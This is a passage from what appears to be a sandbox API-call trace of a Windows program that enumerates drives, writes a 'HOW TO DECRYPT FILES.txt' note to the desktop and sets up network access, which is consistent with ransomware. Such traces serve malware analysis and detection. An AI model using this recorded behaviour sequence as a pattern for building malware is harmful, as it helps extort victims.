nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.266] FindClose (in: hFindFile=0xfdaef0 | out: hFindFile=0xfdaef0) returned 1 [0093.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e488) returned 1 [0093.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e494) returned 1 [0093.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0093.266] GetFullPathNameW (in: lpFileName="D:\\", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="D:\\", lpFilePart=0x0) returned 0x3 [0093.266] FindFirstFileW (in: lpFileName="D:\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e490) returned 1 [0093.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0093.268] GetFullPathNameW (in: lpFileName="E:\\", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="E:\\", lpFilePart=0x0) returned 0x3 [0093.268] FindFirstFileW (in: lpFileName="E:\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e490) returned 1 [0093.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0093.270] GetFullPathNameW (in: lpFileName="B:\\", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="B:\\", lpFilePart=0x0) returned 0x3 [0093.270] FindFirstFileW (in: lpFileName="B:\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e490) returned 1 [0093.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0093.272] GetFullPathNameW (in: lpFileName="F:\\", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="F:\\", lpFilePart=0x0) returned 0x3 [0093.272] FindFirstFileW (in: lpFileName="F:\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e490) returned 1 [0093.274] CoTaskMemAlloc (cb=0x117) returned 0xfcbe78 [0093.284] CoTaskMemAlloc (cb=0x13) returned 0xfb3838 [0093.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt", nBufferLength=0x105, lpBuffer=0x19e1b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt", lpFilePart=0x0) returned 0x30 [0093.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e6fc) returned 1 [0093.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x304 [0093.291] GetFileType (hFile=0x304) returned 0x1 [0093.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e6f8) returned 1 [0093.291] GetFileType (hFile=0x304) returned 0x1 [0093.292] WriteFile (in: hFile=0x304, lpBuffer=0x316423c*, nNumberOfBytesToWrite=0x26c, lpNumberOfBytesWritten=0x19e75c, lpOverlapped=0x0 | out: lpBuffer=0x316423c*, lpNumberOfBytesWritten=0x19e75c*=0x26c, lpOverlapped=0x0) returned 1 [0093.293] CloseHandle (hObject=0x304) returned 1 [0093.424] CoTaskMemAlloc (cb=0xb) returned 0xf990b8 [0093.425] CoTaskMemAlloc (cb=0x4d) returned 0xf95140 [0093.441] CoTaskMemAlloc (cb=0x12) returned 0xfb38f8 [0093.492] GetCurrentProcess () returned 0xffffffff [0093.492] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e448 | out: TokenHandle=0x19e448*=0x314) returned 1 [0093.500] GetCurrentProcess () returned 0xffffffff [0093.500] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e458 | out: TokenHandle=0x19e458*=0x308) returned 1 [0093.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2fc [0093.506] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x30c [0093.507] GetCurrentProcess () returned 0xffffffff [0093.507] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e468 | out: TokenHandle=0x19e468*=0x318) returned 1 [0093.509] GetCurrentProcess () returned 0xffffffff [0093.509] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e478 | out: TokenHandle=0x19e478*=0x310) returned 1 [0093.510] QueryPerformanceFrequency (in: lpFrequency=0x29556b8 | out: lpFrequency=0x29556b8*=100000000) returned 1 [0093.510] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ec | out: lpPerformanceCount=0x19e7ec*=17951423187) returned 1 [0093.512] GetCurrentProcess () returned 0xffffffff [0093.512] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e434 | out: TokenHandle=0x19e434*=0x300) returned 1 [0093.514] GetCurrentProcess () returned 0xffffffff [0093.514] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e444 | out: TokenHandle=0x19e444*=0x41c) returned 1 [0093.520] GetCurrentProcess () returned 0xffffffff [0093.520] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e448 | out: TokenHandle=0x19e448*=0x40c) returned 1 [0093.522] GetCurrentProcess () returned 0xffffffff [0093.522] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e458 | out: TokenHandle=0x19e458*=0x424) returned 1 [0093.525] GetCurrentProcess () returned 0xffffffff [0093.525] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e6d0 | out: TokenHandle=0x19e6d0*=0x428) returned 1 [0093.528] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x19d80c | out: phkResult=0x19d80c*=0x42c) returned 0x0 [0093.529] RegQueryValueExW (in: hKey=0x42c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x19d82c, lpData=0x0, lpcbData=0x19d828*=0x0 | out: lpType=0x19d82c*=0x1, lpData=0x0, lpcbData=0x19d828*=0xe) returned 0x0 [0093.529] RegQueryValueExW (in: hKey=0x42c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x19d82c, lpData=0x316f508, lpcbData=0x19d828*=0xe | out: lpType=0x19d82c*=0x1, lpData="Client", lpcbData=0x19d828*=0xe) returned 0x0 [0093.529] RegCloseKey (hKey=0x42c) returned 0x0 [0093.843] GetCurrentProcess () returned 0xffffffff [0093.844] GetCurrentProcess () returned 0xffffffff [0093.844] GetCurrentProcess () returned 0xffffffff [0093.847] GetCurrentProcess () returned 0xffffffff [0093.983] GetCurrentProcess () returned 0xffffffff [0093.984] GetCurrentProcess () returned 0xffffffff [0093.985] GetCurrentProcess () returned 0xffffffff [0093.985] GetCurrentProcess () returned 0xffffffff [0093.986] GetCurrentProcess () returned 0xffffffff [0093.987] GetCurrentProcess () returned 0xffffffff [0093.988] GetCurrentProcess () returned 0xffffffff [0093.989] GetCurrentProcess () returned 0xffffffff [0094.099] CoTaskMemAlloc (cb=0xcc0) returned 0xfdbdc8 [0094.100] RasEnumConnectionsW (in: param_1=0xfdbdc8, param_2=0x19e6e0, param_3=0x19e6e4 | out: param_1=0xfdbdc8, param_2=0x19e6e0, param_3=0x19e6e4) returned 0x0 [0094.276] GetCurrentProcess () returned 0xffffffff [0094.277] GetCurrentProcess () returned 0xffffffff [0094.278] GetCurrentProcess () returned 0xffffffff [0094.278] GetCurrentProcess () returned 0xffffffff [0094.279] GetCurrentProcess () returned 0xffffffff [0094.280] GetCurrentProcess () returned 0xffffffff [0094.281] GetCurrentProcess () returned 0xffffffff [0094.359] GetCurrentProcess () returned 0xffffffff [0094.360] GetCurrentProcess () returned 0xffffffff [0094.364] GetCurrentProcess () returned 0xffffffff [0094.364] GetCurrentProcess () returned 0xffffffff [0094.367] CoTaskMemFree (pv=0xfdbdc8) [0094.637] GetCurrentProcess () returned 0xffffffff [0094.637] GetCurrentProcess () returned 0xffffffff [0094.638] GetCurrentProcess () returned 0xffffffff [0094.639] GetCurrentProcess () returned 0xffffffff [0094.640] GetCurrentProcess () returned 0xffffffff [0094.643] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19e4cc | out: lpWSAData=0x19e4cc) returned 0 [0094.649] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x490 [0094.866] GetCurrentProcess () returned 0xffffffff [0094.867] GetCurrentProcess () returned 0xffffffff [0094.868] GetCurrentProcess () returned 0xffffffff [0094.869] GetCurrentProcess () returned 0xffffffff [0094.870] GetCurrentProcess () returned 0xffffffff [0094.880] setsockopt (s=0x490, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0094.880] closesocket (s=0x490) returned 0 [0094.880] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x490 [0094.886] setsockopt (s=0x490, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0094.886] closesocket (s=0x490) returned 0 [0094.886] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x490 [0094.887] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x494 [0094.888] ioctlsocket (in: s=0x490, cmd=-2147195266, argp=0x19e6e8 | out: argp=0x19e6e8) returned 0 [0094.888] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x498 [0094.888] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x49c [0094.888] ioctlsocket (in: s=0x498, cmd=-2147195266, argp=0x19e6e8 | out: argp=0x19e6e8) returned 0 [0094.888] WSAIoctl (in: s=0x490, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x19e6d0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x19e6d0, lpOverlapped=0x0) returned -1 [0094.890] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x19e400, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0094.915] WSAEventSelect (s=0x490, hEventObject=0x494, lNetworkEvents=512) returned 0 [0094.916] WSAIoctl (in: s=0x498, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x19e6d0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x19e6d0, lpOverlapped=0x0) returned -1 [0094.916] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x19e400, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0094.916] WSAEventSelect (s=0x498, hEventObject=0x49c, lNetworkEvents=512) returned 0 [0094.916] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4a4 [0094.916] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x4a4, param_3=0x3) returned 0x0 [0094.917] GetCurrentProcess () returned 0xffffffff [0094.918] GetCurrentProcess () returned 0xffffffff [0094.922] GetCurrentProcess () returned 0xffffffff [0094.923] GetCurrentProcess () returned 0xffffffff [0094.926] GetCurrentProcess () returned 0xffffffff [0094.927] GetCurrentProcess () returned 0xffffffff [0094.928] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x19e6fc | out: phkResult=0x19e6fc*=0x4bc) returned 0x0 [0094.929] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e6b0 | out: phkResult=0x19e6b0*=0x4c0) returned 0x0 [0094.930] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c4 [0094.930] RegNotifyChangeKeyValue (hKey=0x4c0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4c4, fAsynchronous=1) returned 0x0 [0094.931] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e6b4 | out: phkResult=0x19e6b4*=0x4c8) returned 0x0 [0094.931] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4cc [0094.931] RegNotifyChangeKeyValue (hKey=0x4c8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4cc, fAsynchronous=1) returned 0x0 [0094.932] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e6b4 | out: phkResult=0x19e6b4*=0x4d0) returned 0x0 [0094.932] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0094.932] RegNotifyChangeKeyValue (hKey=0x4d0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4d4, fAsynchronous=1) returned 0x0 [0094.932] GetCurrentProcess () returned 0xffffffff [0094.932] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e6a0 | out: TokenHandle=0x19e6a0*=0x4d8) returned 1 [0094.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x19dfa8 | out: phkResult=0x19dfa8*=0x4dc) returned 0x0 [0094.935] RegQueryValueExW (in: hKey=0x4dc, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x19dfc4, lpData=0x0, lpcbData=0x19dfc0*=0x0 | out: lpType=0x19dfc4*=0x0, lpData=0x0, lpcbData=0x19dfc0*=0x0) returned 0x2 [0094.935] RegCloseKey (hKey=0x4dc) returned 0x0 [0095.177] GetCurrentProcess () returned 0xffffffff [0095.177] GetCurrentProcess () returned 0xffffffff [0095.178] GetCurrentProcess () returned 0xffffffff [0095.180] GetCurrentProcess () returned 0xffffffff [0095.180] GetCurrentProcess () returned 0xffffffff [0095.185] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x82ab340 [0095.191] GetCurrentProcess () returned 0xffffffff [0095.192] GetCurrentProcess () returned 0xffffffff [0095.310] GetCurrentProcess () returned 0xffffffff [0095.311] GetCurrentProcess () returned 0xffffffff [0095.311] GetCurrentProcess () returned 0xffffffff [0095.312] GetCurrentProcess () returned 0xffffffff [0095.506] GetCurrentProcess () returned 0xffffffff [0095.507] GetCurrentProcess () returned 0xffffffff [0095.507] GetCurrentProcess () returned 0xffffffff [0095.509] GetCurrentProcess () returned 0xffffffff [0095.510] GetCurrentProcess () returned 0xffffffff [0095.510] GetCurrentProcess () returned 0xffffffff [0095.512] GetCurrentProcess () returned 0xffffffff [0095.513] GetCurrentProcess () returned 0xffffffff [0095.514] GetCurrentProcess () returned 0xffffffff [0095.515] GetCurrentProcess () returned 0xffffffff [0095.516] GetCurrentProcess () returned 0xffffffff [0095.517] GetCurrentProcess () returned 0xffffffff [0095.518] GetCurrentProcess () returned 0xffffffff [0095.519] GetCurrentProcess () returned 0xffffffff [0095.521] WinHttpSetTimeouts (hInternet=0x82ab340, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0095.521] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x19e6b0 | out: pProxyConfig=0x19e6b0) returned 1 [0095.524] GetCurrentProcess () returned 0xffffffff [0095.525] GetCurrentProcess () returned 0xffffffff [0095.525] GetCurrentProcess () returned 0xffffffff [0095.526] GetCurrentProcess () returned 0xffffffff [0095.527] GetCurrentProcess () returned 0xffffffff [0095.528] GetCurrentProcess () returned 0xffffffff [0095.528] GetCurrentProcess () returned 0xffffffff [0095.558] GetCurrentProcess () returned 0xffffffff [0095.559] GetCurrentProcess () returned 0xffffffff [0095.560] GetCurrentProcess () returned 0xffffffff [0095.561] GetCurrentProcess () returned 0xffffffff [0095.562] GetCurrentProcess () returned 0xffffffff [0095.563] GetCurrentProcess () returned 0xffffffff [0095.653] GetCurrentProcess () returned 0xffffffff [0095.654] GetCurrentProcess () returned 0xffffffff [0095.654] GetCurrentProcess () returned 0xffffffff [0095.655] GetCurrentProcess () returned 0xffffffff [0095.656] GetCurrentProcess () returned 0xffffffff [0095.657] GetCurrentProcess () returned 0xffffffff [0095.657] GetCurrentProcess () returned 0xffffffff [0095.658] GetCurrentProcess () returned 0xffffffff [0095.658] GetCurrentProcess () returned 0xffffffff [0095.768] GetCurrentProcess () returned 0xffffffff [0095.769] GetCurrentProcess () returned 0xffffffff [0095.770] GetCurrentProcess () returned 0xffffffff [0095.770] GetCurrentProcess () returned 0xffffffff [0095.771] GetCurrentProcess () returned 0xffffffff [0095.772] GetCurrentProcess () returned 0xffffffff [0095.773] GetCurrentProcess () returned 0xffffffff [0095.774] GetCurrentProcess () returned 0xffffffff [0095.775] GetCurrentProcess () returned 0xffffffff [0095.784] CoTaskMemAlloc (cb=0x20e) returned 0x82bb308 [0095.784] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x82bb308, nSize=0x105 | out: lpBuffer="\xcfa8\x82a\x5430\xf5\x178e\x6e34\x177e\x6e34\x03") returned 0x0 [0095.784] CoTaskMemFree (pv=0x82bb308) [0095.784] CoTaskMemAlloc (cb=0x20e) returned 0x82bb308 [0095.784] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x82bb308, nSize=0x105 | out: lpBuffer="\xcfa8\x82a\x5430\xf5\x178e\x6e34\x177e\x6e34\x03") returned 0x0 [0095.785] CoTaskMemFree (pv=0x82bb308) [0095.786] EtwEventRegister (in: ProviderId=0x31722a0, EnableCallback=0x5497dce, CallbackContext=0x0, RegHandle=0x317227c | out: RegHandle=0x317227c) returned 0x0 [0095.786] EtwEventSetInformation (RegHandle=0xfde858, InformationClass=0x66, EventInformation=0x2, InformationLength=0x317223c) returned 0x0 [0095.787] GetCurrentProcess () returned 0xffffffff [0095.787] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e410 | out: TokenHandle=0x19e410*=0x520) returned 1 [0095.788] GetCurrentProcess () returned 0xffffffff [0095.788] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e420 | out: TokenHandle=0x19e420*=0x524) returned 1 [0095.791] SetEvent (hEvent=0x2fc) returned 1 [0095.803] GetCurrentProcess () returned 0xffffffff [0095.803] GetCurrentProcess () returned 0xffffffff [0095.804] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e618*=0x4a4, lpdwindex=0x19e434 | out: lpdwindex=0x19e434) returned 0x80010115 [0095.804] GetCurrentProcess () returned 0xffffffff [0095.805] GetCurrentProcess () returned 0xffffffff [0095.811] GetCurrentProcess () returned 0xffffffff [0095.812] GetCurrentProcess () returned 0xffffffff [0095.826] GetCurrentProcess () returned 0xffffffff [0095.827] GetCurrentProcess () returned 0xffffffff [0095.834] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5f8*=0x494, lpdwindex=0x19e414 | out: lpdwindex=0x19e414) returned 0x80010115 [0095.834] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5f8*=0x49c, lpdwindex=0x19e414 | out: lpdwindex=0x19e414) returned 0x80010115 [0095.834] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e64c*=0x4c4, lpdwindex=0x19e46c | out: lpdwindex=0x19e46c) returned 0x80010115 [0095.835] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e64c*=0x4cc, lpdwindex=0x19e46c | out: lpdwindex=0x19e46c) returned 0x80010115 [0095.835] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e64c*=0x4d4, lpdwindex=0x19e46c | out: lpdwindex=0x19e46c) returned 0x80010115 [0095.836] WinHttpGetProxyForUrl (in: hSession=0x82ab340, lpcwszUrl="https://www.google.com/", pAutoProxyOptions=0x19e5e4, pProxyInfo=0x19e654 | out: pProxyInfo=0x19e654) returned 0 [0095.901] GetCurrentProcess () returned 0xffffffff [0095.901] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e388 | out: TokenHandle=0x19e388*=0x584) returned 1 [0095.901] GetCurrentProcess () returned 0xffffffff [0095.901] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19e398 | out: TokenHandle=0x19e398*=0x588) returned 1 [0095.903] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19e508 | out: lpTimeZoneInformation=0x19e508) returned 0x2 [0095.903] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x19e364 | out: pTimeZoneInformation=0x19e364) returned 0x2 [0095.904] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e448 | out: phkResult=0x19e448*=0x58c) returned 0x0 [0095.905] RegQueryValueExW (in: hKey=0x58c, lpValueName="TZI", lpReserved=0x0, lpType=0x19e464, lpData=0x0, lpcbData=0x19e460*=0x0 | out: lpType=0x19e464*=0x3, lpData=0x0, lpcbData=0x19e460*=0x2c) returned 0x0 [0095.905] RegQueryValueExW (in: hKey=0x58c, lpValueName="TZI", lpReserved=0x0, lpType=0x19e464, lpData=0x31753a4, lpcbData=0x19e460*=0x2c | out: lpType=0x19e464*=0x3, lpData=0x31753a4*, lpcbData=0x19e460*=0x2c) returned 0x0 [0095.905] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e29c | out: phkResult=0x19e29c*=0x0) returned 0x2 [0095.906] RegQueryValueExW (in: hKey=0x58c, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x19e43c, lpData=0x0, lpcbData=0x19e438*=0x0 | out: lpType=0x19e43c*=0x1, lpData=0x0, lpcbData=0x19e438*=0x20) returned 0x0 [0095.906] RegQueryValueExW (in: hKey=0x58c, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x19e43c, lpData=0x31757c8, lpcbData=0x19e438*=0x20 | out: lpType=0x19e43c*=0x1, lpData="@tzres.dll,-320", lpcbData=0x19e438*=0x20) returned 0x0 [0095.906] RegQueryValueExW (in: hKey=0x58c, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x19e43c, lpData=0x0, lpcbData=0x19e438*=0x0 | out: lpType=0x19e43c*=0x1, lpData=0x0, lpcbData=0x19e438*=0x20) returned 0x0 [0095.906] RegQueryValueExW (in: hKey=0x58c, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x19e43c, lpData=0x3175820, lpcbData=0x19e438*=0x20 | out: lpType=0x19e43c*=0x1, lpData="@tzres.dll,-322", lpcbData=0x19e438*=0x20) returned 0x0 [0095.906] RegQueryValueExW (in: hKey=0x58c, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x19e43c, lpData=0x0, lpcbData=0x19e438*=0x0 | out: lpType=0x19e43c*=0x1, lpData=0x0, lpcbData=0x19e438*=0x20) returned 0x0 [0095.906] RegQueryValueExW (in: hKey=0x58c, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x19e43c, lpData=0x3175878, lpcbData=0x19e438*=0x20 | out: lpType=0x19e43c*=0x1, lpData="@tzres.dll,-321", lpcbData=0x19e438*=0x20) returned 0x0 [0095.912] CoTaskMemAlloc (cb=0x20c) returned 0x82b38f8 [0095.912] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x82b38f8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0095.913] CoTaskMemFree (pv=0x82b38f8) [0095.913] CoTaskMemAlloc (cb=0x20e) returned 0x82b38f8 [0095.913] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x19e458, pwszFileMUIPath=0x82b38f8, pcchFileMUIPath=0x19e45c, pululEnumerator=0x19e450 | out: pwszLanguage=0x0, pcchLanguage=0x19e458, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x19e45c, pululEnumerator=0x19e450) returned 1 [0096.064] CoTaskMemFree (pv=0x0) [0096.065] CoTaskMemFree (pv=0x82b38f8) [0096.065] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x8260001 [0096.159] CoTaskMemAlloc (cb=0x3ec) returned 0x1010fc8 [0096.159] LoadStringW (hInstance=0x8260001, uID=0x140, lpBuffer=0x1010fc8, cchBufferMax=500) [0096.160] CoTaskMemFree (pv=0x1010fc8) [0096.161] CoTaskMemAlloc (cb=0x20c) returned 0x82b38f8 [0096.161] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x82b38f8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0096.161] CoTaskMemFree (pv=0x82b38f8) [0096.161] CoTaskMemAlloc (cb=0x20e) returned 0x82b38f8 [0096.161] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x19e458, pwszFileMUIPath=0x82b38f8, pcchFileMUIPath=0x19e45c, pululEnumerator=0x19e450 | out: pwszLanguage=0x0, pcchLanguage=0x19e458, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x19e45c, pululEnumerator=0x19e450) returned 1 [0096.162] CoTaskMemFree (pv=0x0) 